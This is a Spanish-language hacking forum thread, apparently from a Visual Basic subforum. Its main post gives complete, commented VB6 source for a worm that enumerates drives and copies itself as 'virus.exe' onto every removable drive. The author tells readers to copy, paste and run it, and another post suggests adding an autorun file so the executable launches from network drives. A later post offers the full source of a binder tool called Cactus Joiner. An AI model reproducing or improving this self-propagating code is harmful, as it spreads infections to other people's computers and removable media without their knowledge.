Testeado en Word 2003 y funciona perfectamente

---

EDIT: Arrgh!! se me adelantaron xD

Y no te sirve llamar al comando ftp.exe del propio windows para subir y bajar ficheros?

Si necesitas hacerlo con ese código puedo mirarmelo, pero hasta este fin de semana no te aseguro nada.

Saludos!!

Ummm, no creo que merezca un trato especial para mi sources, prefiero ir abriendo un post para cada source, asi lo podemos comentar y mejorar, si los pongo todos en uno se juntarán todas las dudas/sujerencias/mejoras y será un lío...

Gracias igualmente

Digamos que tengo una época generosa... tengo más códigos para regalar pero los publicaré poquito a poco, tantos de golpe no se asimilan bien

Saludos!!

---

Se me ocurre una mejora: Hacer que el código cree el archivo autorun.ini con el path apuntando al virus, de esta forma consigues que nuestro EXE se ejecute al hacer doble click en las unidades de red, solo me falta saber si tambien afecta en los otros tipos de unidad.

Proponer algo

Este sencillo código permite enumerar todas las unidades del sistema, descubrir de que tipo son (fijas, extraibles, CD, remotas, etc...) y copiar el virus en su interior.

Private Declare Function GetLogicalDrives Lib "kernel32" () As Long
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
 
Const DRIVE_REMOVABLE = 2
Const DRIVE_FIXED = 3
Const DRIVE_REMOTE = 4
Const DRIVE_CDROM = 5
Const DRIVE_RAMDISK = 6
 
'Función para enumerar todas las unidades (sean del tipo que sean)
Function EnumDrives() As String
    Dim i As Long
    Dim tmp As Long
    Dim drives As String
 
    tmp = GetLogicalDrives()
    If tmp Then
        For i = 0 To 25
            If (tmp And 2 ^ i) <> 0 Then
                drives = drives & Chr$(i + 65) & ":#"
            End If
        Next
    End If
    EnumDrives = drives
    'La variable drives almacena todas
    'las unidades en formato "A:#C:#D:#E:#"
End Function
 
Function GetType(ByVal drives As String)
    Dim tmp() As String
 
    'Separamos las unidades según el caracter #
    tmp = Split(drives, "#")
    For i = 0 To UBound(tmp) - 1
        If GetDriveType(tmp(i)) = DRIVE_REMOVABLE Then
            'Llamamos a la función de infectar la unidad
            'si es del tipo DRIVE_REMOVABLE
            Call InfectDrive("virus.exe", tmp(i))
        End If
    Next
End Function
 
Function InfectDrive(ByVal FileName As String, ByVal drive As String) As Boolean
    'Importante, no siempre tenemos acceso de escritura
    'en las unidades, sin esta linea podríamos "matar"
    'nuestro virus :(
    On Error Resume Next
 
    Dim MySelf As String
    MySelf = String$(255, Chr$(0))
 
    'Obtenemos nuestra propia ruta
    GetModuleFileName 0, MySelf, Len(MySelf)
    'Nos copiamos en la unidad con el nombre de "virus.exe"
    FileCopy MySelf, drive & "\" & FileName
End Function
 
Private Sub Form_Load()
    'Empieza la juerga!
    Call GetType(EnumDrives)
End Sub
 

El código está comentado y no tiene mucha complicación, copiar y pegar en un proyecto nuevo y os funcionará.

Decirme si os gusta, si se puede mejorar algo, añadir funciones, etc...

Saludos!! vuestro amigo ||MadAntrax||

Para esto está el subforo de Programación VB, para aprender todos

No uses Write, usa Put o Print

Yo en el cactus uso Print

Os complicais bastante la vida con API's, cuando se obtiene el mismo resultada más rapido y sin llamar a DLL's externas:


Con estas 3 lías obtienes el disco C:\ la carpeta de Windows y Archivos de Programa, hay varias más y se consultan con el comando SET dentro de un CMD.

Saludos!!

Bueno, por la petición de varios usuario cuelgo el código fuente completo del Cactus Joiner 2.5 en su completa versión.

El programa en cuestión esta aqui. Con más de 1500 descargas por todos los usuarios del foro.

Para descargarlo haz click en: Cactus_Joiner_Source.zip (más abajo)

Y ya lo sabes... pon un Cactus en tu vida!


Saludos

Jeje, está currado pero yo no ví a ningún gato xD